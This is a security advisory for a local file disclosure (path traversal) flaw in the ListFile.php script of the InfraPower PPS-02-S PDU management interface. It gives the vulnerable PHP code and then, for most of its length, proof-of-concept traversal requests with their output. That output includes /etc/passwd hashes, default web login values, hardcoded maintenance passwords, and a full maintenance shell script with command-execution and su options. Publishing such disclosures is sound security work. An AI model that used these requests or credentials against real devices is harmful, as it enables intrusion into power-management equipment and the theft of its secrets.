1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 |
InfraPower PPS-02-S Q213V1 Local File Disclosure Vulnerability Vendor: Austin Hughes Electronics Ltd. Product web page: http://www.austin-hughes.com Affected version: Q213V1 (Firmware: V2395S) Fixed version: Q216V3 (Firmware: IPD-02-FW-v03) Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. Desc: InfraPower suffers from a file disclosure vulnerability when input passed thru the 'file' parameter to 'ListFile.php' script is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources. ------------------------------------------------------------------- ListFile.php: ------------- 8: if(isset($_GET['file'])){ 9: $handle = $_GET['file']; 10:$fp = fopen('/ramdisk/'.$handle, 'r'); 11:while(!feof($fp)){ 12:$tmp=fgets($fp,2000); 13:$tmp = str_replace("\n","<br />",$tmp); 14:echo $tmp; 15:} 16:fclose($fp); 17: } ------------------------------------------------------------------- Tested on: Linux 2.6.28 (armv5tel) lighttpd/1.4.30-devel-1321 PHP/5.3.9 SQLite/3.7.10 Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5370 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5370.php 27.09.2016 -- http://192.168.0.17/ListFile.php?file=../../../../../../../etc/passwd root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh adm:x:3:4:adm:/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/bin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh operator:x:11:0:Operator:/var:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh http://192.168.0.17/ListFile.php?file=../../../../../../../etc/web_conf LoginAuth 1 UserName 00000000 Password 00000000 http://192.168.0.17/ListFile.php?file=../../../../../../../mnt/mtd/password_conf dmin 999999 manager 666666 user 111111 http://192.168.0.17/ListFile.php?file=../../../../../../../sbin/maintenance_shell.sh #!/bin/sh echo -n "Please enter maintenance password:" read -s pass InfraType=<code>cat /mnt/mtd/main_conf | grep "InfraType" | cut -d " " -f 2 if [ "$InfraType" == "1" ]; then if [ "$pass" != "InfraSolution" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "2" ]; then if [ "$pass" != "InfraGuard" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "3" ]; then if [ "$pass" != "InfraPower" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "4" ]; then if [ "$pass" != "InfraCool" ]; then echo "Invalid maintenance password!" exit 0 fi else #---emergency recovery mode echo "DEBUG su mode started!" su fi fi fi fi # create menu echo "" echo "***********************************************" echo "* Maintenance Menu *" echo "***********************************************" echo "(1) View(vi) /mnt/mtd/main_conf " echo "(2) View /mnt/mtd/snmp_conf " echo "(3) View /mnt/mtd/net_conf " echo "(4) View /mnt/mtd/web_conf " echo "(5) Enable auto patching(boot.sh) on bootup " echo "(6) Disable auto patching(boot.sh) on bootup " echo "(7) Clear all patching (/mnt/mtd/patch/) " echo "(8) Update /www/patch/ to /mnt/mtd/patch/ " echo "(9) Process Monitoring " echo "(A) Patch SNMP " echo "(B) Restore Configuration " echo "(P) Restore INI, POL profiles " echo "(E) Execute command line " echo "(M) View meminfo " echo "(X) Terminal console mode " echo "(R) Reboot " echo "(?) This menu " echo "(Q) Exit " echo "***********************************************" while true; do echo -n "Input Maintenance menu item number(? for help):" read y case $y in "?") echo "" echo "***********************************************" echo "* Maintenance Menu *" echo "***********************************************" echo "(1) View(vi) /mnt/mtd/main_conf " echo "(2) View /mnt/mtd/snmp_conf " echo "(3) View /mnt/mtd/net_conf " echo "(4) View /mnt/mtd/web_conf " echo "(5) Enable auto patching(boot.sh) on bootup " echo "(6) Disable auto patching(boot.sh) on bootup " echo "(7) Clear all patching (/mnt/mtd/patch/) " echo "(8) Update /www/patch/ to /mnt/mtd/patch/ " echo "(9) Process Monitoring " echo "(A) Patch SNMP " echo "(B) Restore Configuration " echo "(P) Restore INI, POL profiles " echo "(E) Execute command line " echo "(M) View meminfo " echo "(X) Terminal console mode " echo "(R) Reboot " echo "(?) This menu " echo "(Q) Exit " echo "***********************************************" ;; "1") echo "****/mnt/mtd/main_conf******************************" vi /mnt/mtd/main_conf echo "****************************************************" ;; "2") echo "****/mnt/mtd/snmp_conf******************************" cat /mnt/mtd/snmp_conf echo "****************************************************" ;; "3") echo "****/mnt/mtd/net_conf*******************************" cat /mnt/mtd/net_conf echo "****************************************************" ;; "4") echo "****/mnt/mtd/web_conf*******************************" cat /mnt/mtd/web_conf echo "****************************************************" ;; "5") echo "(5) Enable auto patching(boot.sh) on bootup " echo -n "Are you sure to continue? [y/n]:" read ans5 if [ "$ans5" == "y" ]; then if [ -f "/mnt/mtd/patch/mnt/mtd/boot.sh" ]; then echo -n "Patching boot.sh ..." cp /mnt/mtd/patch/mnt/mtd/boot.sh /mnt/mtd/boot.sh chmod 777 /mnt/mtd/boot.sh if [ -f "/mnt/mtd/boot.sh" ]; then echo "...done" else echo "...fail" fi else echo "file not exist: /mnt/mtd/patch/boot.sh" fi fi ;; "6") echo "(6) Disable auto patching(boot.sh) on bootup " echo -n "Are you sure to continue? [y/n]:" read ans6 if [ "$ans6" == "y" ]; then if [ -f "/mnt/mtd/boot.sh" ]; then echo -n "Disabling boot.sh pacthing..." rm /mnt/mtd/boot.sh echo "...done" else echo "File not exist: /mnt/mtd/boot.sh" fi fi ;; "7") echo "(7) Clear /mnt/mtd/patch/ " echo -n "Are you sure to continue? [y/n]:" read ans7 if [ "$ans7" == "y" ]; then echo -n " Removing patch files (/mnt/mtd/patch/*)..." rm -r /mnt/mtd/patch/* if [ ! -f "/mnt/mtd/patch/" ]; then echo "...done" echo -n "Reboot to apply changes? [y/n]:" read ans7r if [ "$ans7r" == "y" ]; then echo "Rebooting..." reboot fi else echo "...fail" fi fi ;; "8") echo "(8) Update /www/patch/ to /mnt/mtd/patch/ " echo -n "Are you sure to continue? [y/n]:" read ans8 if [ "$ans8" == "y" ]; then if [ -f "/www/patch/patch_now.sh" ]; then chmod 777 /www/patch/patch_now.sh sh /www/patch/patch_now.sh else echo "file not exist: /www/patch/patch_now.sh" fi fi ;; "9") echo "****Process List*******************************" ps echo "***********************************************" ;; "A") echo "(A) Patch SNMP " echo -n "Are you sure to continue? [y/n]:" read ans8 if [ "$ans8" == "y" ]; then if [ -f "/www/patch/snmplink.sh" ]; then sh /www/patch/snmplink.sh if [ -f "/www/snmplink.log" ]; then cat /www/snmplink.log fi echo "Patching SNMP and its modules...done" else echo "file not exist: /www/patch/snmplink.sh" fi fi ;; "B") echo "(B) Restore Box Configuration(box_conf) " echo -n "Are you sure to continue? [y/n]:" read ans8 if [ "$ans8" == "y" ]; then if [ -f "/etc/box_conf" ]; then echo "Patching /mnt/mtd/box_conf..." cp /etc/box_conf /mnt/mtd/box_conf if [ -f "/mnt/mtd/box_conf" ]; then echo "Patching /mnt/mtd/box_conf...done" else echo "Patching /mnt/mtd/box_conf...failed" fi else echo "file not exist: /etc/box_conf" fi fi ;; "P") INFRA_VER=<code>cat /etc/infratype_conf | grep "InfraType" | cut -d " " -f 2 | sed -e 's/^[ \t]*//' | sed -e 's/[ /t]*$//' | cut -d " " -f1 echo "(P) Restore INI, POL profiles for $INFRA_VER " echo -n "Are you sure to continue? [y/n]:" read ansP if [ "$ansP" == "y" ]; then if [ "$InfraType" == "1" ]; then echo "Restoring INI, POL profiles for $INFRA_VER..." if [ -f "/etc/MF2_ini_$INFRA_VER" ]; then echo -n "Found /etc/MF2_ini_$INFRA_VER, Restoring..." cp /etc/MF2_ini_$INFRA_VER /mnt/mtd/MF2_ini echo "...done" fi if [ -f "/etc/MF2_pol_$INFRA_VER" ]; then echo -n "Found /etc/MF2_pol_$INFRA_VER, Restoring..." cp /etc/MF2_pol_$INFRA_VER /mnt/mtd/MF2_pol echo "...done" fi if [ -f "/etc/PDU3_ini_$INFRA_VER" ]; then echo -n "Found /etc/PDU3_ini_$INFRA_VER, Restoring..." cp /etc/PDU3_ini_$INFRA_VER /mnt/mtd/PDU3_ini echo "...done" fi if [ -f "/etc/PDU3_pol_$INFRA_VER" ]; then echo -n "Found /etc/PDU3_pol_$INFRA_VER, Restoring..." cp /etc/PDU3_pol_$INFRA_VER /mnt/mtd/PDU3_pol echo "...done" fi if [ -f "/etc/FAN2_ini_$INFRA_VER" ]; then echo -n "Found /etc/FAN2_ini_$INFRA_VER, Restoring..." cp /etc/FAN2_ini_$INFRA_VER /mnt/mtd/FAN2_ini echo "...done" fi if [ -f "/etc/FAN2_pol_$INFRA_VER" ]; then echo -n "Found /etc/FAN2_pol_$INFRA_VER, Restoring..." cp /etc/FAN2_pol_$INFRA_VER /mnt/mtd/FAN2_pol echo "...done" fi if [ -f "/etc/HANDLE3_ini_$INFRA_VER" ]; then echo -n "Found /etc/HANDLE3_ini_$INFRA_VER, Restoring..." cp /etc/HANDLE3_ini_$INFRA_VER /mnt/mtd/HANDLE3_ini echo "...done" fi if [ -f "/etc/HANDLE3_pol_$INFRA_VER" ]; then echo -n "Found /etc/HANDLE3_pol_$INFRA_VER, Restoring..." cp /etc/HANDLE3_pol_$INFRA_VER /mnt/mtd/HANDLE3_pol echo "...done" fi fi fi ;; "E") echo -n "Input command line:" read cmd_line $cmd_line ;; "M") if [ -f "/mnt/mtd/log_memCheck.txt" ]; then cat /mnt/mtd/log_memCheck.txt fi ;; "R") echo "(R) Reboot " echo -n "Are you sure to continue? [y/n]:" read ansR if [ "$ansR" == "y" ]; then echo "Rebooting..." reboot fi ;; "X") echo "su mode started!" su ;; "Q") echo "Leaving maintenance mode........OK" exit 0 ;; esac done |